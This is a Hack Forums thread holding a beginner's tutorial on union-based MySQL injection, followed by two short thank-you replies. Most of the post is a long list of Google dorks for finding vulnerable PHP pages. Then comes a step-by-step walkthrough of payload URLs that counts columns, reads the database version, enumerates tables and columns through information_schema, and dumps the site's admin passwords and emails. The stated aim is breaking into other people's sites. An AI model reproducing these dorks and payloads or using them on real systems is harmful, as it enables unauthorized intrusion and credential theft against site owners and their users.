

Forum:[Hack Forums](#)

Thread: [Ultimate MySQL Injection Tutorial For Beginners\[PART 2\] 100% NOOB FRIENDLY!!](#)

WarrioR™ - May 19, 2012, 6:30 pm

Hello ,

Find my last tutorial

<https://hackforums.net/showthread.php?tid=2506401>

xSQLScanner – Database Password Cracker & Security Audit Tool For MS-SQL & MySQL

<https://hackforums.net/showthread.php?tid=2510221>

SQL injection tutorial

This is a tutorial for SQL injection

now lets start

Use google to search for dorks

For searching for SQL vulnerable sites,you can use these dork's

Dork: SQL Injection

inurl:"id=" & intext:"Warning: mysql_fetch_assoc()

inurl:"id=" & intext:"Warning: mysql_fetch_array()

inurl:"id=" & intext:"Warning: mysql_num_rows()

inurl:"id=" & intext:"Warning: session_start()

inurl:"id=" & intext:"Warning: getimagesize()

inurl:"id=" & intext:"Warning: is_writable()

inurl:"id=" & intext:"Warning: getimagesize()

inurl:"id=" & intext:"Warning: Unknown()

inurl:"id=" & intext:"Warning: session_start()

inurl:"id=" & intext:"Warning: mysql_result()

inurl:"id=" & intext:"Warning: pg_exec()

inurl:"id=" & intext:"Warning: mysql_result()

inurl:"id=" & intext:"Warning: mysql_num_rows()

inurl:"id=" & intext:"Warning: mysql_query()

inurl:"id=" & intext:"Warning: array_merge()

inurl:"id=" & intext:"Warning: preg_match()

inurl:"id=" & intext:"Warning: filesize()

inurl:"id=" & intext:"Warning: require()

inurl:index.php?id=

inurl:trainers.php?id=

inurl:buy.php?category=

inurl:article.php?ID=

inurl:play_old.php?id=

inurl:declaration_more.php?decl_id=

inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communiquer_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=

inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=

inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=

injecting a site

now you got your vulnerable site

<http://www.site.comnews.php?id=-17>' add ' to the end to check if its vulnerable

it gets error,i know its vulnerable so i remove the ' and do

<http://www.site.com/news.php?id=17> order by 1--

<http://www.site.com/news.php?id=17> order by 2--

<http://www.site.com/news.php?id=17> order by 3--

No errors i continue etc etc

i finally get an error when i do like below

<http://www.site.com/news.php?id=17> order by 13--

so this tells me 13 columns dont exist,so there must be 12 columns in the database

so next i do the UNION SELECT function as shown below

<http://www.site.com/news.php?id=-17> UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12-- (note make sure to add a - in between = 17 like =-17 in the ID)

Hit enter

Numbers 4 and 5 appear,this means data can be extracted from numbers for and five

I Replace 4 in the url with @@version so it now looks like

<http://www.site.com/news.php?id=-17> UNION SELECT 1,2,3,@@version,5,6,7,8,9,10,11,12--

hit enter

5.0.32-Debian_7etch8-log

^this is the mysql version running,So its running version 5 that helps alot,(versions 4 and below we have the guess the table name's)

Now

Where we put @@version (4th spot)

Replace it with

group_concat(table_name) <<gets table name

like

<http://www.site.com/news.php?id=-17> UNION SELECT 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12--

And at the end of union select string remove the -- after the 12 and add

+from+information_schema.tables+where+table_schema=database()--

So it now looks like

<http://www.site.com/news.php?id=-17> UNION SELECT 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12
+from+information_schema.tables+where+table_schema=database()--

i Now see

x_admins,x_articles,x_ban,x_banners,x_banners_info,x_comments,x_file_categories,â€‹
x_file_data,x_forum_a,x_forum_b,x_forum_c,x_gbook,x_infopages,x_links_categoriesâ€‹
x_links_data,x_mails,x_menu,x_news,x_poll_data,x_poll_desc,x_pw,x_topic,x_usersâ€‹

Now replace group_Concat(table_name) with group_concat(column_name) and everything after union select 5,6,7,8,9,10,11,12 with

+from+information_schema.columns+where+table_name='x_admins'--

so it goes from

<http://www.site.com/news.php?id=-17> UNION SELECT

1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12

+from+information_schema.tables+where+table_schema=database()--

TO

<http://www.site/news.php?id=-17> UNION SELECT

1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12

+from+information_schema.columns+where+table_name='x_admins'--

we see id,nick,pass,name,added,access,mail,stat

Learn about grouping at this point but now we add

group_concat(id,0x3a,pass,0x3a,mail) to were the group_concat(column_name) is and add +from+x_admins-- after 10,11,12

So the string becomes

<http://www.site.com/news.php?id=-17> UNION SELECT

1,2,3,group_concat(id,0x3a,pass,0x3a,mail),5,6,7,8,9,10,11,12 +from+x_admins--

At this point we obtain the admins password

HOT THREAD

<https://hackforums.net/showthread.php?tid=2510012>

R391.875 - May 19, 2012, 7:15 pm

thank u for a gr8 dork list....

gud tut dude!!!

mirkops1 - January 16, 2019, 10:29 pm

great good for starting here ..!!